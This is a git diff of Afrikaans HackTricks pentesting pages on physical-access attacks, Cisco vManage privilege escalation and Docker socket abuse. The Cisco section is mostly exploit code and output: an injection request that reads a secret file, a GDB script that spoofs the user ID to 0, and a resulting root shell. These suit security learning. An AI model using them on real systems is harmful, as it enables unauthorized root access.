3. Die payload kan na die gecompromitteerde toestel oorgedra word en verseker word dat dit uitvoeringsregte het.
|
||||
4. Metasploit kan voorberei word om inkomende versoeke te hanteer deur msfconsole te begin en die instellings volgens die payload te konfigureer.
|
||||
5. Die meterpreter omgekeerde shell kan op die gecompromitteerde toestel uitgevoer word.
|
||||
|
|
|
@ -1,81 +1,69 @@
|
|||
# Fisiese Aanvalle
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## BIOS Wagwoordherwinning en Stelselsekuriteit
|
||||
## BIOS Wagwoord Herstel en Stelselsekuriteit
|
||||
|
||||
Die **herstel van die BIOS** kan op verskeie maniere bereik word. Die meeste moederborde bevat 'n **battery** wat, wanneer dit vir ongeveer **30 minute** verwyder word, die BIOS-instellings, insluitend die wagwoord, sal herstel. Alternatief kan 'n **jumper op die moederbord** aangepas word om hierdie instellings te herstel deur spesifieke penne te verbind.
|
||||
**Herstel van die BIOS** kan op verskeie maniere gedoen word. Meeste moederborde sluit 'n **batterij** in wat, wanneer dit vir ongeveer **30 minute** verwyder word, die BIOS-instellings, insluitend die wagwoord, sal herstel. Alternatiewelik kan 'n **jumper op die moederbord** aangepas word om hierdie instellings te herstel deur spesifieke penne te verbind.
|
||||
|
||||
Vir situasies waar hardeware-aanpassings nie moontlik of prakties is nie, bied **sagtewaretools** 'n oplossing. Die hardloop van 'n stelsel van 'n **Live CD/USB** met verspreidings soos **Kali Linux** bied toegang tot gereedskap soos **_killCmos_** en **_CmosPWD_**, wat kan help met BIOS-wagwoordherwinning.
|
||||
Vir situasies waar hardeware-aanpassings nie moontlik of prakties is nie, bied **sagteware gereedskap** 'n oplossing. Om 'n stelsel vanaf 'n **Live CD/USB** met verspreidings soos **Kali Linux** te laat loop, bied toegang tot gereedskap soos **_killCmos_** en **_CmosPWD_**, wat kan help met BIOS wagwoord herstel.
|
||||
|
||||
In gevalle waar die BIOS-wagwoord onbekend is, sal die verkeerde invoer daarvan **drie keer** tipies lei tot 'n foutkode. Hierdie kode kan op webwerwe soos [https://bios-pw.org](https://bios-pw.org) gebruik word om moontlik 'n bruikbare wagwoord te herwin.
|
||||
In gevalle waar die BIOS wagwoord onbekend is, sal dit gewoonlik 'n foutkode oplewer as dit verkeerd ingevoer word **drie keer**. Hierdie kode kan op webwerwe soos [https://bios-pw.org](https://bios-pw.org) gebruik word om moontlik 'n bruikbare wagwoord te verkry.
|
||||
|
||||
### UEFI-sekuriteit
|
||||
### UEFI Sekuriteit
|
||||
|
||||
Vir moderne stelsels wat **UEFI** in plaas van tradisionele BIOS gebruik, kan die gereedskap **chipsec** gebruik word om UEFI-instellings te analiseer en te wysig, insluitend die deaktivering van **Secure Boot**. Dit kan gedoen word met die volgende bevel:
|
||||
Vir moderne stelsels wat **UEFI** in plaas van tradisionele BIOS gebruik, kan die gereedskap **chipsec** gebruik word om UEFI-instellings te analiseer en te wysig, insluitend die deaktivering van **Secure Boot**. Dit kan met die volgende opdrag gedoen word:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
### RAM-analise en Koue-aanvalle op die Klok
|
||||
### RAM Analise en Koue Boot Aanvalle
|
||||
|
||||
RAM behou data kort na kragonderbreking, gewoonlik vir **1 tot 2 minute**. Hierdie volharding kan verleng word tot **10 minute** deur koue stowwe, soos vloeibare stikstof, toe te pas. Gedurende hierdie verlengde tydperk kan 'n **geheue-uitstorting** geskep word met gereedskap soos **dd.exe** en **volatility** vir analise.
|
||||
RAM hou data kortliks na die kragonderbreking, gewoonlik vir **1 tot 2 minute**. Hierdie volharding kan verleng word tot **10 minute** deur koue stowwe, soos vloeibare stikstof, toe te pas. Gedurende hierdie verlengde tydperk kan 'n **geheue dump** geskep word met behulp van gereedskap soos **dd.exe** en **volatility** vir analise.
|
||||
|
||||
### Direkte Geheue-toegang (DMA) Aanvalle
|
||||
### Direkte Geheue Toegang (DMA) Aanvalle
|
||||
|
||||
**INCEPTION** is 'n gereedskap wat ontwerp is vir **fisiese geheue-manipulasie** deur DMA, wat kompatibel is met koppelvlakke soos **FireWire** en **Thunderbolt**. Dit maak dit moontlik om inlogprosedures te omseil deur geheue te patch om enige wagwoord te aanvaar. Dit is egter ondoeltreffend teenoor **Windows 10**-stelsels.
|
||||
**INCEPTION** is 'n gereedskap wat ontwerp is vir **fisiese geheue manipulasie** deur middel van DMA, wat versoenbaar is met interfaces soos **FireWire** en **Thunderbolt**. Dit maak dit moontlik om aanmeldprosedures te omseil deur geheue te patch om enige wagwoord te aanvaar. Dit is egter nie effektief teen **Windows 10** stelsels nie.
|
||||
|
||||
### Live CD/USB vir Stelseltoegang
|
||||
|
||||
Die verandering van stelsel-binêre lêers soos **_sethc.exe_** of **_Utilman.exe_** met 'n kopie van **_cmd.exe_** kan 'n opdragpunt met stelselbevoegdhede bied. Gereedskap soos **chntpw** kan gebruik word om die **SAM**-lêer van 'n Windows-installasie te wysig, wat wagwoordveranderinge moontlik maak.
|
||||
Om stelselbinaries soos **_sethc.exe_** of **_Utilman.exe_** met 'n kopie van **_cmd.exe_** te verander, kan 'n opdragprompt met stelselsprivileges bied. Gereedskap soos **chntpw** kan gebruik word om die **SAM** lêer van 'n Windows-installasie te redigeer, wat wagwoordveranderinge moontlik maak.
|
||||
|
||||
**Kon-Boot** is 'n gereedskap wat die aanmelding by Windows-stelsels vergemaklik sonder om die wagwoord te ken deur tydelik die Windows-kernel of UEFI te wysig. Meer inligting kan gevind word by [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||
**Kon-Boot** is 'n gereedskap wat dit vergemaklik om in Windows-stelsels in te teken sonder om die wagwoord te ken deur tydelik die Windows-kern of UEFI te wysig. Meer inligting kan gevind word by [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||
|
||||
### Hantering van Windows-sekuriteitskenmerke
|
||||
### Hantering van Windows Sekuriteitskenmerke
|
||||
|
||||
#### Kortpaaie vir Opstart en Herstel
|
||||
#### Boot en Herstel Snelkoppelinge
|
||||
|
||||
- **Supr**: Toegang tot BIOS-instellings.
|
||||
- **F8**: Betree Herstelmodus.
|
||||
- Deur na die Windows-banner **Shift** te druk, kan outomatiese aanmelding omseil word.
|
||||
- **F8**: Gaan na Herstelmodus.
|
||||
- Deur **Shift** te druk na die Windows-banner kan outologon omseil.
|
||||
|
||||
#### SLEAGTE USB-toestelle
|
||||
#### SLECHTE USB Toestelle
|
||||
|
||||
Toestelle soos **Rubber Ducky** en **Teensyduino** dien as platforms vir die skep van **slegte USB**-toestelle, wat in staat is om voorafbepaalde vragte uit te voer wanneer dit aan 'n teikenkoerier gekoppel word.
|
||||
Toestelle soos **Rubber Ducky** en **Teensyduino** dien as platforms om **slegte USB** toestelle te skep, wat in staat is om vooraf gedefinieerde payloads uit te voer wanneer dit aan 'n teikenrekenaar gekoppel word.
|
||||
|
||||
#### Volume Shadow Copy
|
||||
#### Volume Skadu Kopie
|
||||
|
||||
Administrateursbevoegdhede maak die skep van kopieë van sensitiewe lêers, insluitend die **SAM**-lêer, deur PowerShell moontlik.
|
||||
Administrateurprivileges stel die gebruiker in staat om kopieë van sensitiewe lêers, insluitend die **SAM** lêer, deur PowerShell te skep.
|
||||
|
||||
### Om BitLocker-versleuteling te omseil
|
||||
### Omseiling van BitLocker Enkripsie
|
||||
|
||||
BitLocker-versleuteling kan moontlik omseil word as die **herstelwagwoord** binne 'n geheue-uitstortlêer (**MEMORY.DMP**) gevind word. Gereedskap soos **Elcomsoft Forensic Disk Decryptor** of **Passware Kit Forensic** kan vir hierdie doel gebruik word.
|
||||
BitLocker enkripsie kan moontlik omseil word as die **herstelwagwoord** in 'n geheue dump lêer (**MEMORY.DMP**) gevind word. Gereedskap soos **Elcomsoft Forensic Disk Decryptor** of **Passware Kit Forensic** kan vir hierdie doel gebruik word.
|
||||
|
||||
### Maatskaplike Ingenieurswese vir die Byvoeging van Herstelsleutel
|
||||
### Sosiale Ingenieurswese vir Herstel Sleutel Byvoeging
|
||||
|
||||
'n Nuwe BitLocker-herstelsleutel kan deur maatskaplike ingenieurswese-taktieke bygevoeg word, deur 'n gebruiker te oortuig om 'n opdrag uit te voer wat 'n nuwe herstelsleutel van nulle byvoeg, wat sodoende die dekripsieproses vereenvoudig.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
'n Nuwe BitLocker herstel sleutel kan bygevoeg word deur sosiale ingenieurswese taktieke, wat 'n gebruiker oortuig om 'n opdrag uit te voer wat 'n nuwe herstel sleutel van nulles byvoeg, wat die ontsleuteling proses vereenvoudig.
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# Cisco - vmanage
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Pad 1
|
||||
|
||||
(Voorbeeld van [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
|
||||
|
||||
Nadat ons 'n bietjie deur 'n paar [dokumentasie](http://66.218.245.39/doc/html/rn03re18.html) gekrap het wat verband hou met `confd` en die verskillende binnerwerke (toeganklik met 'n rekening op die Cisco-webwerf), het ons gevind dat dit 'n geheim gebruik wat in `/etc/confd/confd_ipc_secret` geleë is om die IPC-aansluiting te verifieer:
|
||||
Na 'n bietjie deur sommige [dokumentasie](http://66.218.245.39/doc/html/rn03re18.html) rakende `confd` en die verskillende binaries (toeganklik met 'n rekening op die Cisco-webwerf) te delf, het ons gevind dat om die IPC-soket te verifieer, dit 'n geheim gebruik wat geleë is in `/etc/confd/confd_ipc_secret`:
|
||||
```
|
||||
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
|
||||
|
||||
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
|
||||
```
|
||||
Onthou ons Neo4j-instantie? Dit word uitgevoer onder die voorregte van die `vmanage`-gebruiker, wat ons in staat stel om die lêer te herwin deur gebruik te maak van die vorige kwesbaarheid:
|
||||
Onthou ons Neo4j-instantie? Dit loop onder die `vmanage` gebruiker se regte, wat ons in staat stel om die lêer te verkry met behulp van die vorige kwesbaarheid:
|
||||
```
|
||||
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
|
||||
|
||||
|
@ -34,7 +37,7 @@ Host: vmanage-XXXXXX.viptela.net
|
|||
|
||||
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
|
||||
```
|
||||
Die `confd_cli` program ondersteun nie opdraglyn-argumente nie, maar roep `/usr/bin/confd_cli_user` aan met argumente. So, ons kan direk `/usr/bin/confd_cli_user` oproep met ons eie stel argumente. Tog is dit nie leesbaar met ons huidige bevoegdhede nie, so ons moet dit van die rootfs herwin en dit gebruik om dit met behulp van scp te kopieer, die hulp lees en dit gebruik om die skul te kry:
|
||||
Die `confd_cli` program ondersteun nie opdraglynargumente nie, maar roep `/usr/bin/confd_cli_user` met argumente aan. So, ons kan direk `/usr/bin/confd_cli_user` met ons eie stel argumente aanroep. Dit is egter nie leesbaar met ons huidige voorregte nie, so ons moet dit van die rootfs af haal en dit met scp kopieer, die hulp lees, en dit gebruik om die shell te kry:
|
||||
```
|
||||
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
|
||||
|
||||
|
@ -52,13 +55,13 @@ vManage:~# id
|
|||
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
## Pad 2
|
||||
## Path 2
|
||||
|
||||
(Voorbeeld van [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
|
||||
(Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
|
||||
|
||||
Die blog¹ deur die synacktiv-span het 'n elegante manier beskryf om 'n root-skulp te kry, maar die addertjie is dat dit 'n kopie van die `/usr/bin/confd_cli_user` vereis wat slegs deur root leesbaar is. Ek het 'n ander manier gevind om na root te eskaleer sonder so 'n gedoente.
|
||||
Die blog¹ deur die synacktiv span het 'n elegante manier beskryf om 'n root shell te verkry, maar die voorwaarde is dat dit 'n kopie van die `/usr/bin/confd_cli_user` vereis wat slegs deur root leesbaar is. Ek het 'n ander manier gevind om na root te eskaleer sonder sulke moeite.
|
||||
|
||||
Toe ek die `/usr/bin/confd_cli` binêre kode ontleed het, het ek die volgende waargeneem:
|
||||
Toe ek die `/usr/bin/confd_cli` binêre ontleed, het ek die volgende waargeneem:
|
||||
```
|
||||
vmanage:~$ objdump -d /usr/bin/confd_cli
|
||||
… snipped …
|
||||
|
@ -87,20 +90,20 @@ vmanage:~$ objdump -d /usr/bin/confd_cli
|
|||
4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>
|
||||
… snipped …
|
||||
```
|
||||
Wanneer ek "ps aux" uitvoer, het ek die volgende waargeneem (_note -g 100 -u 107_)
|
||||
Wanneer ek “ps aux” uitvoer, het ek die volgende opgemerk (_note -g 100 -u 107_)
|
||||
```
|
||||
vmanage:~$ ps aux
|
||||
… snipped …
|
||||
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
|
||||
… snipped …
|
||||
```
|
||||
Ek het vermoed dat die "confd\_cli" program die gebruikers-ID en groep-ID wat dit van die ingelogde gebruiker versamel het, aan die "cmdptywrapper" toepassing deurgee.
|
||||
Ek het hipotese dat die “confd\_cli” program die gebruikers-ID en groep-ID wat dit van die ingelogde gebruiker versamel het, aan die “cmdptywrapper” toepassing oorhandig.
|
||||
|
||||
My eerste poging was om die "cmdptywrapper" direk uit te voer en dit te voorsien met `-g 0 -u 0`, maar dit het misluk. Dit blyk dat 'n lêerbeskrywer (-i 1015) êrens langs die pad geskep is en ek kan dit nie vervals nie.
|
||||
My eerste poging was om die “cmdptywrapper” direk te loop en dit te voorsien van `-g 0 -u 0`, maar dit het gefaal. Dit blyk dat 'n lêer beskrywer (-i 1015) êrens langs die pad geskep is en ek kan dit nie naboots nie.
|
||||
|
||||
Soos genoem in synacktiv se blog (laaste voorbeeld), ondersteun die `confd_cli` program nie opdraglynargumente nie, maar ek kan dit beïnvloed met 'n debugger en gelukkig is GDB ingesluit op die stelsel.
|
||||
Soos genoem in synacktiv se blog (laaste voorbeeld), ondersteun die `confd_cli` program nie opdraglyn argumente nie, maar ek kan dit beïnvloed met 'n debugger en gelukkig is GDB ingesluit op die stelsel.
|
||||
|
||||
Ek het 'n GDB-skripsie geskep waar ek die API `getuid` en `getgid` gedwing het om 0 terug te gee. Aangesien ek reeds "vmanage"-bevoegdheid het deur die deserialisering RCE, het ek toestemming om die `/etc/confd/confd_ipc_secret` direk te lees.
|
||||
Ek het 'n GDB-skrip geskep waar ek die API `getuid` en `getgid` gedwing het om 0 te retourneer. Aangesien ek reeds “vmanage” regte het deur die deserialisering RCE, het ek toestemming om die `/etc/confd/confd_ipc_secret` direk te lees.
|
||||
|
||||
root.gdb:
|
||||
```
|
||||
|
@ -120,30 +123,7 @@ root
|
|||
end
|
||||
run
|
||||
```
|
||||
# Cisco vManage
|
||||
|
||||
## Introduction
|
||||
|
||||
Cisco vManage is a cloud-based network management platform that provides centralized control and visibility for Cisco SD-WAN deployments. It allows network administrators to monitor and configure network devices, troubleshoot issues, and manage network policies.
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Privilege escalation refers to the process of gaining higher levels of access or privileges on a system or network. In the context of Cisco vManage, privilege escalation can allow an attacker to gain administrative access to the platform, potentially compromising the entire SD-WAN deployment.
|
||||
|
||||
## Exploiting Vulnerabilities
|
||||
|
||||
To escalate privileges in Cisco vManage, an attacker can exploit vulnerabilities in the platform or its underlying components. This can include exploiting misconfigurations, weak passwords, or software vulnerabilities.
|
||||
|
||||
## Mitigation
|
||||
|
||||
To mitigate the risk of privilege escalation in Cisco vManage, it is important to follow security best practices. This includes:
|
||||
|
||||
- Regularly updating the platform and its components with the latest security patches.
|
||||
- Enforcing strong password policies and using multi-factor authentication.
|
||||
- Implementing network segmentation to limit the impact of a potential compromise.
|
||||
- Monitoring the platform for any suspicious activity or unauthorized access attempts.
|
||||
|
||||
By following these best practices, organizations can reduce the risk of privilege escalation and enhance the security of their Cisco SD-WAN deployments.
|
||||
Konsoluitset:
|
||||
```
|
||||
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
|
||||
GNU gdb (GDB) 8.0.1
|
||||
|
@ -177,14 +157,17 @@ root
|
|||
uid=0(root) gid=0(root) groups=0(root)
|
||||
bash-4.4#
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,33 @@
|
|||
# Misbruik van Docker Socket vir Voorregverhoging
|
||||
# Misbruik van Docker Socket vir Privilege Escalation
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
Daar is soms geleenthede waar jy net **toegang het tot die Docker-socket** en dit wil gebruik om **voorregte te verhoog**. Sommige aksies kan baie verdag wees en jy wil dit dalk vermy, so hier kan jy verskillende vlae vind wat nuttig kan wees om voorregte te verhoog:
|
||||
Daar is 'n paar geleenthede waar jy net **toegang tot die docker socket** het en jy dit wil gebruik om **privileges te verhoog**. Sommige aksies mag baie verdag wees en jy mag dit wil vermy, so hier kan jy verskillende vlae vind wat nuttig kan wees om privileges te verhoog:
|
||||
|
||||
### Via berging
|
||||
### Via mount
|
||||
|
||||
Jy kan verskillende dele van die **lêersisteem** in 'n houer wat as root loop **berg** en **toegang** daartoe verkry.\
|
||||
Jy kan ook **misbruik maak van 'n berging om voorregte te verhoog** binne die houer.
|
||||
Jy kan **mount** verskillende dele van die **filesystem** in 'n container wat as root loop en dit **toegang** gee.\
|
||||
Jy kan ook 'n **mount misbruik om privileges** binne die container te verhoog.
|
||||
|
||||
* **`-v /:/host`** -> Berg die gasheer-lêersisteem in die houer sodat jy die gasheer-lêersisteem kan **lees**.
|
||||
* As jy wil **voel asof jy op die gasheer is**, maar in die houer is, kan jy ander verdedigingsmeganismes deaktiveer deur vlae soos die volgende te gebruik:
|
||||
* **`-v /:/host`** -> Mount die host filesystem in die container sodat jy die **host filesystem kan lees.**
|
||||
* As jy wil **voel soos jy in die host is** maar in die container is, kan jy ander verdedigingsmeganismes deaktiveer met vlae soos:
|
||||
* `--privileged`
|
||||
